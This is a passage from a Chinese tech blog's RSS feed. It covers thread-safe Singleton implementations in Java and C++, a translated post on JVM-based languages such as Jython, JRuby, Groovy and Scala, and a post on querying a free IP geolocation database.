}\n}</pre>\n<p>感觉代码开始变得有点罗嗦和复杂了，不过，这可能是最不错的一个版本了，这个版本又叫“双重检查”Double-Check。下面是说明：</p>\n<ol>\n<li>第一个条件是说，如果实例创建了，那就不需要同步了，直接返回就好了。</li>\n<li>不然，我们就开始同步线程。</li>\n<li>第二个条件是说，如果被同步的线程中，有一个线程创建了对象，那么别的线程就不用再创建了。</li>\n</ol>\n<p>相当不错啊，干得非常漂亮！请大家为我们的1.3版起立鼓掌！</p>\n<p>但是，如果你认为这个版本大攻告成，你就错了。</p>\n<p>主要在于<strong>singleton <code>= new Singleton()</code></strong>这句，这并非是一个原子操作，事实上在 JVM 中这句话大概做了下面 3 件事情。</p>\n<ol>\n<li>给 singleton 分配内存</li>\n<li>调用 Singleton 的构造函数来初始化成员变量，形成实例</li>\n<li>将singleton对象指向分配的内存空间（执行完这步 singleton才是非 null 了）</li>\n</ol>\n<p>但是在 JVM 的即时编译器中存在指令重排序的优化。也就是说上面的第二步和第三步的顺序是不能保证的，最终的执行顺序可能是 1-2-3 也可能是 1-3-2。如果是后者，则在 3 执行完毕、2 未执行之前，被线程二抢占了，这时 instance 已经是非 null 了（但却没有初始化），所以线程二会直接返回 instance，然后使用，然后顺理成章地报错。</p>\n<p>对此，我们只需要把singleton声明成 volatile 就可以了。下面是1.4版：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"4\">// version 1.4\npublic class Singleton\n{\n    private volatile static Singleton singleton = null;\n    private Singleton()  {    }\n    public static Singleton getInstance()   {\n        if (singleton== null)  {\n            synchronized (Singleton.class) {\n                if (singleton== null)  {\n                    singleton= new Singleton();\n                }\n            }\n        }\n        return singleton;\n    }\n}</pre>\n<p>使用 volatile 有两个功用：</p>\n<p>1）这个变量不会在多个线程中存在复本，直接从内存读取。</p>\n<p>2）这个关键字会禁止指令重排序优化。也就是说，在 volatile 变量的赋值操作后面会有一个内存屏障（生成的汇编代码上），读操作不会被重排序到内存屏障之前。</p>\n<p>但是，这个事情仅在Java 1.5版后有用，1.5版之前用这个变量也有问题，因为老版本的Java的内存模型是有缺陷的。</p>\n<h4><strong>Singleton 的简化版本</strong></h4>\n<p>上面的玩法实在是太复杂了，一点也不优雅，下面是一种更为优雅的方式：</p>\n<p>这种方法非常简单，因为单例的实例被声明成 static 和 final 变量了，在第一次加载类到内存中时就会初始化，所以创建实例本身是线程安全的。</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"4\">// version 1.5\npublic class Singleton\n{\n    private volatile static Singleton singleton = new Singleton();\n    private Singleton()  {    }\n    public static Singleton getInstance()   {\n        return singleton;\n    }\n}</pre>\n<p>但是，这种玩法的最大问题是——当这个类被加载的时候，new Singleton() 这句话就会被执行，就算是getInstance()没有被调用，类也被初始化了。</p>\n<p>于是，<strong>这个可能会与我们想要的行为不一样，比如，我的类的构造函数中，有一些事可能需要依赖于别的类干的一些事（比如某个配置文件，或是某个被其它类创建的资源），我们希望他能在我第一次getInstance()时才被真正的创建。这样，我们可以控制真正的类创建的时刻，而不是把类的创建委托给了类装载器</strong>。</p>\n<p>好吧，我们还得绕一下：</p>\n<p>下面的这个1.6版是老版《Effective Java》中推荐的方式。</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"4\">// version 1.6\npublic class Singleton {\n    private static class SingletonHolder {\n        private static final Singleton INSTANCE = new Singleton();\n    }\n    private Singleton (){}\n    public static final Singleton getInstance() {\n        return SingletonHolder.INSTANCE;\n    }\n}</pre>\n<p>上面这种方式，仍然使用JVM本身机制保证了线程安全问题；由于 SingletonHolder 是私有的，除了 getInstance() 之外没有办法访问它，因此它只有在getInstance()被调用时才会真正创建；同时读取实例的时候不会进行同步，没有性能缺陷；也不依赖 JDK 版本。</p>\n<h4><strong>Singleton 优雅</strong>版本</h4>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">public enum Singleton{\n   INSTANCE;\n}</pre>\n<p>居然用枚举！！看上去好牛逼，通过EasySingleton.INSTANCE来访问，这比调用getInstance()方法简单多了。</p>\n<p>默认枚举实例的创建是线程安全的，所以不需要担心线程安全的问题。但是在枚举中的其他任何方法的线程安全由程序员自己负责。还有防止上面的通过反射机制调用私用构造器。</p>\n<p><strong>这个版本基本上消除了绝大多数的问题。代码也非常简单，实在无法不用。这也是新版的《Effective Java》中推荐的模式。</strong></p>\n<h4><strong>Singleton的其它问题</strong></h4>\n<p>怎么？还有问题？！当然还有，请记住下面这条规则——“<strong>无论你的代码写得有多好，其只能在特定的范围内工作，超出这个范围就要出Bug了</strong>”，这是“陈式第一定理”，呵呵。你能想一想还有什么情况会让这个我们上面的代码出问题吗？</p>\n<p>在C++下，我不是很好举例，但是在Java的环境下，嘿嘿，还是让我们来看看下面的一些反例和一些别的事情的讨论（<strong>当然，有些反例可能属于钻牛角尖，可能有点学院派，不过也不排除其实际可能性，就算是提个醒吧</strong>）：</p>\n<p><strong>其一、Class Loader</strong>。不知道你对Java的Class Loader熟悉吗？“类装载器”？！C++可没有这个东西啊。这是Java动态性的核心。顾名思义，类装载器是用来把类(class)装载进JVM的。JVM规范定义了两种类型的类装载器：启动内装载器(bootstrap)和用户自定义装载器(user-defined class loader)。 在一个JVM中可能存在多个ClassLoader，每个ClassLoader拥有自己的NameSpace。一个ClassLoader只能拥有一个class对象类型的实例，但是不同的ClassLoader可能拥有相同的class对象实例，这时可能产生致命的问题。如ClassLoaderA，装载了类A的类型实例A1，而ClassLoaderB，也装载了类A的对象实例A2。逻辑上讲A1=A2，但是由于A1和A2来自于不同的ClassLoader，它们实际上是完全不同的，如果A中定义了一个静态变量c，则c在不同的ClassLoader中的值是不同的。</p>\n<p>于是，如果咱们的Singleton 1.3版本如果面对着多个Class Loader会怎么样？呵呵，多个实例同样会被多个Class Loader创建出来，当然，这个有点牵强，不过他确实存在。难道我们还要整出个1.4版吗？可是，我们怎么可能在我的Singleton类中操作Class Loader啊？是的，你根本不可能。在这种情况下，你能做的只有是——“保证多个Class Loader不会装载同一个Singleton”。</p>\n<p><strong>其二、序例化。</strong>如果我们的这个Singleton类是一个关于我们程序配置信息的类。我们需要它有序列化的功能，那么，当反序列化的时候，我们将无法控制别人不多次反序列化。不过，我们可以利用一下Serializable接口的readResolve()方法，比如：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">public class Singleton implements Serializable\n{\n    ......\n    ......\n    protected Object readResolve()\n    {\n        return getInstance();\n    }\n}</pre>\n<p><strong>其三、多个Java虚拟机。</strong>如果我们的程序运行在多个Java的虚拟机中。什么？多个虚拟机？这是一种什么样的情况啊。嗯，这种情况是有点极端，不过还是可能出现，比如EJB或RMI之流的东西。要在这种环境下避免多实例，看来只能通过良好的设计或非技术来解决了。</p>\n<p><strong>其四，volatile变量。</strong>关于volatile这个关键字所声明的变量可以被看作是一种 “程度较轻的同步synchronized”；与 synchronized 块相比，volatile 变量所需的编码较少，并且运行时开销也较少，但是它所能实现的功能也仅是synchronized的一部分。当然，如前面所述，我们需要的Singleton只是在创建的时候线程同步，而后面的读取则不需要同步。所以，volatile变量并不能帮助我们即能解决问题，又有好的性能。而且，这种变量只能在JDK 1.5+版后才能使用。</p>\n<p><strong>其五、关于继承。</strong>是的，继承于Singleton后的子类也有可能造成多实例的问题。不过，因为我们早把Singleton的构造函数声明成了私有的，所以也就杜绝了继承这种事情。</p>\n<p><strong>其六，关于代码重用。</strong>也话我们的系统中有很多个类需要用到这个模式，如果我们在每一个类都中有这样的代码，那么就显得有点傻了。那么，我们是否可以使用一种方法，把这具模式抽象出去？在C++下这是很容易的，因为有模板和友元，还支持栈上分配内存，所以比较容易一些（程序如下所示），Java下可能比较复杂一些，聪明的你知道怎么做吗？</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">template class Singleton\n{\n    public:\n        static T&amp; Instance()\n        {\n            static T theSingleInstance; //假设T有一个protected默认构造函数\n            return theSingleInstance;\n        }\n};\n\nclass OnlyOne : public Singleton\n{\n    friend class Singleton;\n    int example_data;\n\n    public:\n        int GetExampleData() const {return example_data;}\n    protected:\n        OnlyOne(): example_data(42) {}   // 默认构造函数\n        OnlyOne(OnlyOne&amp;) {}\n};\n\nint main( )\n{\n    cout &lt;&lt; OnlyOne::Instance().GetExampleData() &lt;&lt; endl;\n\treturn 0;\n}\n</pre>\n<p>&nbsp;</p>\n<p class=\"MsoNormal\" style=\"margin: 0in 0in 0pt;\"><strong style=\"mso-bidi-font-weight: normal;\"><span style=\"font-family: Times New Roman;\">(</span></strong><strong style=\"mso-bidi-font-weight: normal;\"><span lang=\"ZH-CN\" style=\"font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman';\">转载时请注明作者和出处。未经许可，请勿用于商业用途</span><span style=\"font-family: Times New Roman;\">)</span></strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"面向GC的Java编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_title\">面向GC的Java编程</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/cow-copy-150x150.jpg\" alt=\"Java中的CopyOnWrite容器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_title\">Java中的CopyOnWrite容器</a></li><li ><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3-150x150.jpg\" alt=\"无锁HashMap的原理与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_title\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/265.html\">深入浅出单实例Singleton设计模式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/265.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>53</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>基于JVM的语言正在开始流行</title>\n\t\t<link>https://coolshell.cn/articles/247.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/247.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Thu, 26 Mar 2009 02:41:59 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[动态语言]]></category>\n\t\t<category><![CDATA[脚本语言]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=247</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>总结： 这是 Reuven Lerner在去年写的一篇博文，文章主要介绍了一些新兴的基于JVM的脚本语言。结合本文可以对Bruce的博文《C++和JAVA传统中...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/247.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/247.html\">基于JVM的语言正在开始流行</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>总结：</strong></p>\n<p>这是 <a class=\"uname\" href=\"https://coolshell.cn/member/reuven\">Reuven Lerner</a>在去年写的一篇博文，文章主要介绍了一些新兴的基于JVM的脚本语言。结合本文可以对Bruce的博文《<a href=\"https://coolshell.cn/articles/209.html\" target=\"_blank\">C++和JAVA传统中积极的一面</a>》有一个很好的理解。译者认为：语言始终都是一门工具，软件设计最重要的东西是来自于设计者的创造性，但是随着Java语言的出现，他的半动态的特性，ClassLoader，反射，动态代理，都是提高开发者创造性的前提，正是因为这些特性，才会出现新的的编程模式和范式——反转控制和依赖注入，面向方面的编程(AOP)。试想如果Java不提供ClassLoader，反射，动态代理机制的API，如何能实现依赖查找和依赖注入和动态AOP? 你能用C++来反转控制，依赖查找吗，能对容器中的组件做进行生命周期管理吗？为了说明程序员创造性和语言的这个关系，我引用<a href=\"http://hinchcliffe.org/\" target=\"_self\">Dion Hinchcliffe</a>博文中的一张图来说明：</p>\n<p> <img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-248 alignnone\" title=\"程序员创造性和性能的关系\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/weblanguagecomparison1.png\" alt=\"程序员创造性和性能的关系\" width=\"400\" height=\"326\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/03/weblanguagecomparison1.png 400w, https://coolshell.cn/wp-content/uploads/2009/03/weblanguagecomparison1-300x245.png 300w, https://coolshell.cn/wp-content/uploads/2009/03/weblanguagecomparison1-331x270.png 331w\" sizes=\"(max-width: 400px) 100vw, 400px\" /></p>\n<p>原文：<a href=\"http://ostatic.com/blog/jvm-based-languages-grow-in-popularity\">http://ostatic.com/blog/jvm-based-languages-grow-in-popularity</a><br />\n<strong>基于JVM的语言正在开始流行</strong></p>\n<p>当Sun Microsystems公司在1995年第一次揭开Java的面纱的时候，就是非常难被定义的。这是因为JAVA是由多个部分构成：首先，它当然是一个面向对象语言。同时JAVA也是一个定义标准的语言(或多个标准，包括移动设备，标准，和企业三个版本)。最后，Java是一个虚拟机(&#8220;JVM&#8221;)，一个Java程序能够执行的软件环境。如果你有一个JVM，虽然这个JVM只能用来运行Java的程序——但是，JVM能在运行在你能想到的每一个平台之上，这使得Java成为一个具有高移植性的语言。</p>\n<p><span id=\"more-247\"></span></p>\n<p>在Java世界的一个令人着迷的趋势就是：在最近的几年里使用JVM来运行非Java的程序在程增长的趋势。毕竟，如果创造了一门新的语言，你就必须在特定的平台上实现它。如果你想你的语言能在不同的平台上移植，那么你就需要为每一个平台实现一个版本。但是，相比而言，如果你将语言实现在JVM上，那么你就能让你的语言运行在任何系统的JVM上，这就意味着几乎所有平台都可以运行。</p>\n<p>于是现在就有了许多的基于JVM的新增语言。其中4个最流行的是发布在开源许可证之下的。考虑到如今Java也是开发源码了，这意味着你可以使用一个全开源体系，并且这个体系是可以移植的。因为这些语言都在JVM之上实现的，所以你就可以同时访问Java的标准库。这意味着如果有一个第三方的的Java库，而且你精于Python，那么你就可以使用Jython在你的源代码中访问这些Java库。</p>\n<p>早期的基于JVM的脚本语言，就我所知，是Jython,之前被称为JPython。Jython，从名字你就可以猜到，是一个基于JVM的Python语言实现。Jython完全兼容Python2.2的标准版本(这个标准版本的Python也被称为CPython)，这意味着Jython将会没有Python的一些新特性。最近发布的Jython版本是2007年月发布的，但是Sun雇佣了两位早期Jython非常知名的开发者，并且现在Jython可以运行Django应用程序框架，因此验证其兼容Python的能力</p>\n<p>Sun公司同时资助了JRuby的开发，一个基于JVM的Ruby版本。Jython是Python唯一的两个实现的其中之一，对比而言，JRuby则是众多Ruby语言实现的其中之一。然而,JRuby被广泛的认为是一个非常重要的版本。特别是因为他的效率，和高度兼容标准C的Ruby版本实现。JRuby同样可以运行Ruby on Rails框架(<strong>译者注：构建在Ruby之上的WEB应用框架</strong>)，此外还能运行其他众多的功能。</p>\n<p>Jython和JRuby都是从其他已存在的语言中移植到JVM中来的。而全新的基于JVM的脚本语言是Groovy和Scala。这两门语言现在都越来越流行，不同的是，Groovy是动态脚本语言，而是Scala是静态语言。使用Groovy最著名的应用是Groovy on Grails项目，一个用Groovy写成，运行在JVM之上的WEB应用框架(和Ruby on Rails很相似)。Grails找到通向商业应用程序的道路，最著名的就是LinkedIn,使用Linkedin，开发人员发现他们能比直接使用Java更快速和容易的开发程序。相比而言，Scala，而是强类型是语言，Steve Yegge最近的一次访谈中曾经谈到、静态语言和动态语言的争论，因为这个他还受到了很多的批评（<strong>译者注：关于Steve Yegge的这篇关于动态语言和静态语言之争可以查看</strong><a href=\"http://steve-yegge.blogspot.com/2008/05/dynamic-languages-strike-back.html \" target=\"_self\"><strong>这里</strong></a>,<strong>Steve Yegge是一个动态语言的支持者</strong>）<br />\nJava已经被公认为是非常成功而流行的语言。现在，Java也同时也被认为是非常流行的平台，这四类语言仅仅是在不远的将来通过JVM来实现的新兴语言的开始<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"面向GC的Java编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_title\">面向GC的Java编程</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/cow-copy-150x150.jpg\" alt=\"Java中的CopyOnWrite容器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_title\">Java中的CopyOnWrite容器</a></li><li ><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3-150x150.jpg\" alt=\"无锁HashMap的原理与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_title\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/247.html\">基于JVM的语言正在开始流行</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/247.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>4</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>全球IP地址数据库</title>\n\t\t<link>https://coolshell.cn/articles/244.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/244.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 25 Mar 2009 09:59:52 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[IP]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=244</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是一个免费的全球IP地址数据库，包括了国家，城市，地区，和经纬度，以便你可以利用Google Map在地图上标注。这个数据库的精确度可能有60%左右。 SQ...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/244.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/244.html\">全球IP地址数据库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是一个免费的全球IP地址数据库，包括了国家，城市，地区，和经纬度，以便你可以利用Google Map在地图上标注。这个数据库的精确度可能有60%左右。</p>\n<p><a href=\"http://www.blogama.org/ipinfodb.sql.bz2\"><strong>SQL format</strong></a><br />\n<cite>更新至 2009年3月11日</cite></p>\n<p><a href=\"http://www.blogama.org/ipinfodb_csv.zip\"><strong>CSV format</strong></a> (多文件)<br />\n<cite>更新至 2009年3月11日</cite></p>\n<p>下面是怎么使用这个数据库。</p>\n<p><span id=\"more-244\"></span></p>\n<p>首先，所有的IP地址都是按一个整形来存放的，假设一个IP地址为A.B.C.D，那么其计算公式如下所示：</p>\n<p style=\"padding-left: 30px;\">ip = (A*256+B)*256+C</p>\n<p>也就是说，它只计算到网段为：A.B.C.0到A.B.C.255。例如：我们有一个IP地址为：74.125.45.100 (google.com)，那么，</p>\n<p style=\"padding-left: 30px;\">ip = (74*256+125)*256+45 = 4881709</p>\n<p>这样，我们可以方便地使用如下的SQL语句搜索数据：</p>\n<p style=\"padding-left: 30px;\">SELECT * FROM <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">ip_group_city</code><br />\nWHERE<code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">ip_start</code> &lt;= 4881709 ORDER BY ip_start DESC LIMIT 1;</p>\n<p>结果会是如下所示：</p>\n<p style=\"padding-left: 30px;\">ip_start|country_code|region_code|city|zipcode|latitude|longitude<br />\n4881664|US|CA|Mountain View|94043|37.4192|-122.057</p>\n<p>如果你想在线使用这些数据的话，你可以使用如下所示的网址：</p>\n<p>http://blogama.org/ip_query.php?ip=74.125.45.100&#038;output=xml</p>\n<p>于是，你就会得到如下的XML数据：</p>\n<p style=\"padding-left: 30px;\"><span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;?xml</span> <span style=\"color: #000066;\">version</span>=<span style=\"color: #ff0000;\">&#8220;1.0&#8221;</span> <span style=\"color: #000066;\">encoding</span>=<span style=\"color: #ff0000;\">&#8220;UTF-8&#8221;</span><span style=\"font-weight: bold; color: #000000;\">?&gt;</span></span><br />\n<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;Response<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span><br />\n<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;Ip<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span>74.125.45.100<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;/Ip<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span><br />\n<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;Status<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span>OK<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;/Status<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span><br />\n<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;CountryCode<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span>US<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;/CountryCode<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span><br />\n<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;CountryName<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span>United States<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;/CountryName<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span><br />\n<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;RegionCode<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span>CA<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;/RegionCode<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span><br />\n <br />\n<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;RegionName<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span><span style=\"font-weight: bold; color: #000000;\">&lt;/RegionName<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span><br />\n<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;City<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span>Mountain View<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;/City<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span><br />\n<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;ZipPostalCode<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span>94043<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;/ZipPostalCode<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span><br />\n<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;Latitude<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span>37.4192<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;/Latitude<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span><br />\n<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;Longitude<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span>-122.057<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;/Longitude<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span><br />\n<span style=\"color: #009900;\"><span style=\"font-weight: bold; color: #000000;\">&lt;/Response<span style=\"font-weight: bold; color: #000000;\">&gt;</span></span></span></p>\n<p>如果你请求的是：</p>\n<p><a href=\"http://blogama.org/ip_query.php?ip=74.125.45.100&amp;output=raw\">http://blogama.org/ip_query.php?ip=74.125.45.100&amp;output=raw</a></p>\n<p>这样你会得到CSV的格式：</p>\n<p>74.125.45.100,OK,US,United States,CA,,Mountain View,94043,37.4192,-122.057</p>\n<p>文章：<a href=\"http://blogama.org/node/58\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img 